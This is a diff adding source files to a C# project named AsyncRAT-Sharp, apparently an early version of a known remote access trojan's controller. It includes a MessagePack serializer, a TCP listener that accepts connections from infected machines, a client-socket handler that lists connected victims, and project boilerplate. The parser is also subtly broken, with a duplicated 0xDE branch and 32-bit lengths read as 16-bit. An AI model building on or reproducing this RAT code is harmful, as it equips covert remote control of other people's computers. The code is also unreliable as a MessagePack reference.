rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt16(rawByte, 0));
}
else if (lvByte == 0xCE)
{
// uint 32 stores a 32-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+
// | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt32(rawByte, 0));
}
else if (lvByte == 0xCF)
{
// uint 64 stores a 64-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsUInt64(BitConverter.ToUInt64(rawByte, 0));
}
else if (lvByte == 0xDC)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdc |YYYYYYYY|YYYYYYYY| N objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDD)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xD9)
{
// str 8 stores a byte array whose length is upto (2^8)-1 bytes:
// +--------+--------+========+
// | 0xd9 |YYYYYYYY| data |
// +--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDF)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDA)
{
// str 16 stores a byte array whose length is upto (2^16)-1 bytes:
// +--------+--------+--------+========+
// | 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
// +--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDB)
{
// str 32 stores a byte array whose length is upto (2^32)-1 bytes:
// +--------+--------+--------+--------+--------+========+
// | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
// +--------+--------+--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xD0)
{
// int 8 stores a 8-bit signed integer
// +--------+--------+
// | 0xd0 |ZZZZZZZZ|
// +--------+--------+
SetAsInteger((sbyte)ms.ReadByte());
}
else if (lvByte == 0xD1)
{
// int 16 stores a 16-bit big-endian signed integer
// +--------+--------+--------+
// | 0xd1 |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt16(rawByte, 0));
}
else if (lvByte == 0xD2)
{
// int 32 stores a 32-bit big-endian signed integer
// +--------+--------+--------+--------+--------+
// | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt32(rawByte, 0));
}
else if (lvByte == 0xD3)
{
// int 64 stores a 64-bit big-endian signed integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt64(rawByte, 0));
}
}
public byte[] Encode2Bytes()
{
MemoryStream ms = new MemoryStream();
Encode2Stream(ms);
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
}
public void Encode2Stream(Stream ms)
{
switch (this.valueType)
{
case MsgPackType.Unknown:
case MsgPackType.Null:
WriteTools.WriteNull(ms);
break;
case MsgPackType.String:
WriteTools.WriteString(ms, (String)this.innerValue);
break;
case MsgPackType.Integer:
WriteTools.WriteInteger(ms, (Int64)this.innerValue);
break;
case MsgPackType.UInt64:
WriteTools.WriteUInt64(ms, (UInt64)this.innerValue);
break;
case MsgPackType.Boolean:
WriteTools.WriteBoolean(ms, (Boolean)this.innerValue);
break;
case MsgPackType.Float:
WriteTools.WriteFloat(ms, (Double)this.innerValue);
break;
case MsgPackType.Single:
WriteTools.WriteFloat(ms, (Single)this.innerValue);
break;
case MsgPackType.DateTime:
WriteTools.WriteInteger(ms, GetAsInteger());
break;
case MsgPackType.Binary:
WriteTools.WriteBinary(ms, (byte[])this.innerValue);
break;
case MsgPackType.Map:
WriteMap(ms);
break;
case MsgPackType.Array:
WirteArray(ms);
break;
default:
WriteTools.WriteNull(ms);
break;
}
}
public String AsString
{
get
{
return GetAsString();
}
set
{
SetAsString(value);
}
}
public Int64 AsInteger
{
get { return GetAsInteger(); }
set { SetAsInteger((Int64)value); }
}
public Double AsFloat
{
get { return GetAsFloat(); }
set { SetAsFloat(value); }
}
public MsgPackArray AsArray
{
get
{
lock (this)
{
if (refAsArray == null)
{
refAsArray = new MsgPackArray(this, children);
}
}
return refAsArray;
}
}
public MsgPackType ValueType
{
get { return valueType; }
}
IEnumerator IEnumerable.GetEnumerator()
{
return new MsgPackEnum(children);
}
}
}

View File

@ -0,0 +1,24 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AsyncRAT_Sharp.MessagePack
{
public enum MsgPackType
{
Unknown = 0,
Null = 1,
Map = 2,
Array = 3,
String = 4,
Integer = 5,
UInt64 = 6,
Boolean = 7,
Float = 8,
Single = 9,
DateTime = 10,
Binary = 11
}
}

View File

@ -0,0 +1,84 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AsyncRAT_Sharp.MessagePack
{
class ReadTools
{
public static String ReadString(Stream ms, int len)
{
byte[] rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
public static String ReadString(Stream ms)
{
byte strFlag = (byte)ms.ReadByte();
return ReadString(strFlag, ms);
}
public static String ReadString(byte strFlag, Stream ms)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = null;
int len = 0;
if ((strFlag >= 0xA0) && (strFlag <= 0xBF))
{
len = strFlag - 0xA0;
}
else if (strFlag == 0xD9)
{
len = ms.ReadByte();
}
else if (strFlag == 0xDA)
{
rawBytes = new byte[2];
ms.Read(rawBytes, 0, 2);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToInt16(rawBytes, 0);
}
else if (strFlag == 0xDB)
{
rawBytes = new byte[4];
ms.Read(rawBytes, 0, 4);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToInt32(rawBytes, 0);
}
rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
}
}

View File

@ -0,0 +1,203 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AsyncRAT_Sharp.MessagePack
{
class WriteTools
{
public static void WriteNull(Stream ms)
{
ms.WriteByte(0xC0);
}
public static void WriteString(Stream ms, String strVal)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal);
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 31)
{
b = (byte)(0xA0 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 255)
{
b = 0xD9;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDA;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDB;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteBinary(Stream ms, byte[] rawBytes)
{
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 255)
{
b = 0xC4;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xC5;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xC6;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteFloat(Stream ms, Double fVal)
{
ms.WriteByte(0xCB);
ms.Write(BytesTools.SwapDouble(fVal), 0, 8);
}
public static void WriteSingle(Stream ms, Single fVal)
{
ms.WriteByte(0xCA);
ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4);
}
public static void WriteBoolean(Stream ms, Boolean bVal)
{
if (bVal)
{
ms.WriteByte(0xC3);
}
else
{
ms.WriteByte(0xC2);
}
}
public static void WriteUInt64(Stream ms, UInt64 iVal)
{
ms.WriteByte(0xCF);
byte[] dataBytes = BitConverter.GetBytes(iVal);
ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8);
}
public static void WriteInteger(Stream ms, Int64 iVal)
{
if (iVal >= 0)
{ // 正数
if (iVal <= 127)
{
ms.WriteByte((byte)iVal);
}
else if (iVal <= 255)
{ //UInt8
ms.WriteByte(0xCC);
ms.WriteByte((byte)iVal);
}
else if (iVal <= (UInt32)0xFFFF)
{ //UInt16
ms.WriteByte(0xCD);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= (UInt32)0xFFFFFFFF)
{ //UInt32
ms.WriteByte(0xCE);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else
{ //Int64
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
}
else
{ // <0
if (iVal <= Int32.MinValue) //-2147483648 // 64 bit
{
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
else if (iVal <= Int16.MinValue) // -32768 // 32 bit
{
ms.WriteByte(0xD2);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else if (iVal <= -128) // -32768 // 32 bit
{
ms.WriteByte(0xD1);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= -32)
{
ms.WriteByte(0xD0);
ms.WriteByte((byte)iVal);
}
else
{
ms.WriteByte((byte)iVal);
}
} // end <0
}
}
}

View File

@ -0,0 +1,22 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace AsyncRAT_Sharp
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());
}
}
}

View File

@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("AsyncRAT-Sharp")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("AsyncRAT-Sharp")]
[assembly: AssemblyCopyright("Copyright © 2019")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("7767c300-5fd5-4a5d-9d4c-59559cce48a3")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

View File

@ -0,0 +1,71 @@
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace AsyncRAT_Sharp.Properties
{
/// <summary>
/// A strongly-typed resource class, for looking up localized strings, etc.
/// </summary>
// This class was auto-generated by the StronglyTypedResourceBuilder
// class via a tool like ResGen or Visual Studio.
// To add or remove a member, edit your .ResX file then rerun ResGen
// with the /str option, or rebuild your VS project.
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources
{
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources()
{
}
/// <summary>
/// Returns the cached ResourceManager instance used by this class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager
{
get
{
if ((resourceMan == null))
{
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("AsyncRAT_Sharp.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
/// <summary>
/// Overrides the current thread's CurrentUICulture property for all
/// resource lookups using this strongly typed resource class.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture
{
get
{
return resourceCulture;
}
set
{
resourceCulture = value;
}
}
}
}

View File

@ -0,0 +1,117 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

View File

@ -0,0 +1,30 @@
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace AsyncRAT_Sharp.Properties
{
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
{
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default
{
get
{
return defaultInstance;
}
}
}
}

View File

@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>

View File

@ -0,0 +1,138 @@
using System;
using System.Text;
using System.IO;
using System.Net.Sockets;
using System.Windows.Forms;
using AsyncRAT_Sharp.Handle_Packet;
using Microsoft.VisualBasic;
using System.Diagnostics;
namespace AsyncRAT_Sharp.Sockets
{
class Clients
{
public Socket client;
public byte[] Buffer;
public long Buffersize;
public bool BufferRecevied;
public MemoryStream MS;
public ListViewItem LV;
public bool isClientConnected;
public void InitializeClient(Socket CLIENT)
{
client = CLIENT;
client.ReceiveBufferSize = 50 * 1024;
client.SendBufferSize = 50 * 1024;
client.ReceiveTimeout = -1;
client.SendTimeout = -1;
Buffer = new byte[1];
Buffersize = 0;
BufferRecevied = false;
isClientConnected = true;
MS = new MemoryStream();
LV = null;
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
}
public async void ReadClientData(IAsyncResult ar)
{
try
{
int Recevied = client.EndReceive(ar);
if (Recevied > 0)
{
if (BufferRecevied == false)
{
if (Buffer[0] == 0)
{
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
MS = new MemoryStream();
if (Buffersize > 0)
{
Buffer = new byte[Buffersize - 1];
BufferRecevied = true;
}
}
else
{
await MS.WriteAsync(Buffer, 0, Buffer.Length);
}
}
else
{
await MS.WriteAsync(Buffer, 0, Recevied);
if (MS.Length == Buffersize)
{
HandlePacket.Read(this, MS.ToArray());
MS = new MemoryStream();
Buffer = new byte[1];
Buffersize = 0;
BufferRecevied = false;
}
}
}
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
}
catch
{
Disconnected();
}
}
delegate void _isDisconnected();
public void Disconnected()
{
if (HandlePacket.Form.listView1.InvokeRequired)
HandlePacket.Form.listView1.Invoke(new _isDisconnected(Disconnected));
else
{
LV.Remove();
}
}
public async void BeginSend(byte[] Msgs)
{
if (isClientConnected || client.Connected)
{
try
{
using (MemoryStream MS = new MemoryStream())
{
byte[] buffer = Msgs;
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0));
await MS.WriteAsync(buffersize, 0, buffersize.Length);
await MS.WriteAsync(buffer, 0, buffer.Length);
client.Poll(-1, SelectMode.SelectWrite);
client.BeginSend(MS.ToArray(), 0, Convert.ToInt32(MS.Length), SocketFlags.None, new AsyncCallback(EndSend), null);
}
}
catch (Exception ex)
{
Debug.WriteLine("BeginSend " + ex.Message);
Disconnected();
}
}
}
public void EndSend(IAsyncResult ar)
{
try
{
client.EndSend(ar);
}
catch (Exception ex)
{
Debug.WriteLine("EndSend " + ex.Message);
Disconnected();
}
}
}
}

View File

@ -0,0 +1,31 @@
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;
namespace AsyncRAT_Sharp.Sockets
{
class Listener
{
public TcpListener listener;
public async void Connect(int port)
{
listener = new TcpListener(IPAddress.Any, port);
listener.Server.ReceiveBufferSize = 50 * 1024;
listener.Server.SendBufferSize = 50 * 1024;
listener.Server.ReceiveTimeout = -1;
listener.Server.SendTimeout = -1;
listener.Start();
while (true)
{
await Task.Delay(1);
if (listener.Pending())
{
Clients CL = new Clients();
CL.InitializeClient(listener.AcceptSocket());
}
}
}
}
}

View File

@ -0,0 +1,54 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{C3C49F45-2589-4E04-9C50-71B6035C14AE}</ProjectGuid>
<OutputType>Exe</OutputType>
<RootNamespace>Client</RootNamespace>
<AssemblyName>Client</AssemblyName>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<Deterministic>true</Deterministic>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" />
<Compile Include="MessagePack\MsgPackType.cs" />
<Compile Include="MessagePack\ReadTools.cs" />
<Compile Include="MessagePack\WriteTools.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -0,0 +1,102 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AsyncRAT_Sharp.MessagePack
{
public class BytesTools
{
